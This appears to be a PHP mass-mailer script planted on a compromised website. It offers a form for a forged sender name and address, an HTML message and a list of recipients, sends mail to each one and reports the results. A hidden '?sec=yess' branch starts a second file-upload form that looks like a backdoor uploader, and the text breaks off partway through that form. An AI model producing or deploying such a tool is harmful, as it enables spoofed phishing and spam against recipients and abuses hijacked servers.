File: /home/wbwebdes/domains/abuse.wb-webdesign.com/public_html/resenal.php
<?php
set_time_limit(0);
// Variable para guardar el reporte visual
$reporte_envio = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
$message = $_POST['html'] ?? '';
$subject = $_POST['assunto'] ?? '';
$de = $_POST['de'] ?? '';
$nombre = $_POST['RealName'] ?? '';
$ellos = $_POST['ellos'] ?? '';
$message = htmlspecialchars_decode($message);
$lista_correos = explode("\n", str_replace("\r", "", $ellos));
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= "From: =?UTF-8?B?" . base64_encode($nombre) . "?= <" . $de . ">\r\n";
$reporte_envio .= "<div style='text-align:left; margin-top:15px; padding:10px; background:#f4f4f4; border:1px solid #ccc; max-height:200px; overflow-y:auto; font-family:Courier New, monospace; font-size:12px;'>";
$reporte_envio .= "<strong>[INICIANDO ENVÍO]</strong><br>";
$enviados = 0;
$fallidos = 0;
foreach ($lista_correos as $correo) {
$correo = trim($correo);
if (!empty($correo)) {
if (filter_var($correo, FILTER_VALIDATE_EMAIL)) {
if (mail($correo, $subject, $message, $headers)) {
$reporte_envio .= "<span style='color:green;'>[OK] Enviado a: " . htmlspecialchars($correo) . "</span><br>";
$enviados++;
} else {
$reporte_envio .= "<span style='color:red;'>[ERROR] Servidor rechazó: " . htmlspecialchars($correo) . "</span><br>";
$fallidos++;
}
} else {
$reporte_envio .= "<span style='color:orange;'>[OMITIDO] Correo inválido: " . htmlspecialchars($correo) . "</span><br>";
}
// Fuerza la salida visual inmediata en el navegador
flush();
}
}
$reporte_envio .= "<br><strong>[PROCESO TERMINADO] Éxitos: $enviados | Fallas: $fallidos</strong>";
$reporte_envio .= "</div>";
} else {
$testa = "";
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"] ?? 'Mailer';
$nombre = "postal";
$de = "[email protected]";
$ellos = "[email protected]";
}
?>
<html>
<head>
<title>Mailer_2021-Piwin3tRlZ</title>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
<tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr>
<td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" class="form" id="de" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
<td>Nombre: <input name="RealName" type="text" class="form" id="RealName" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td>
</tr>
<tr>
<td height="18" bgcolor="#C0C0C0"></td>
</tr>
<tr>
<td>
<table border="0" width="100%">
<tr>
<td>
<textarea name="html" cols="66" rows="10" id="html"><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><center>
<br><input type="submit" name="Enoc" value="Enviar">
<?php
// Renderiza el reporte detallado aquí abajo del botón
if (!empty($reporte_envio)) {
echo $reporte_envio;
}
?>
</center><br>
<?php
if(array_key_exists('sec', $_GET)){
if($_GET['sec']=='yess')
{
echo '<form action="" method="post" enctype="multipart/form-data">
<input name="ar';
}
}
?>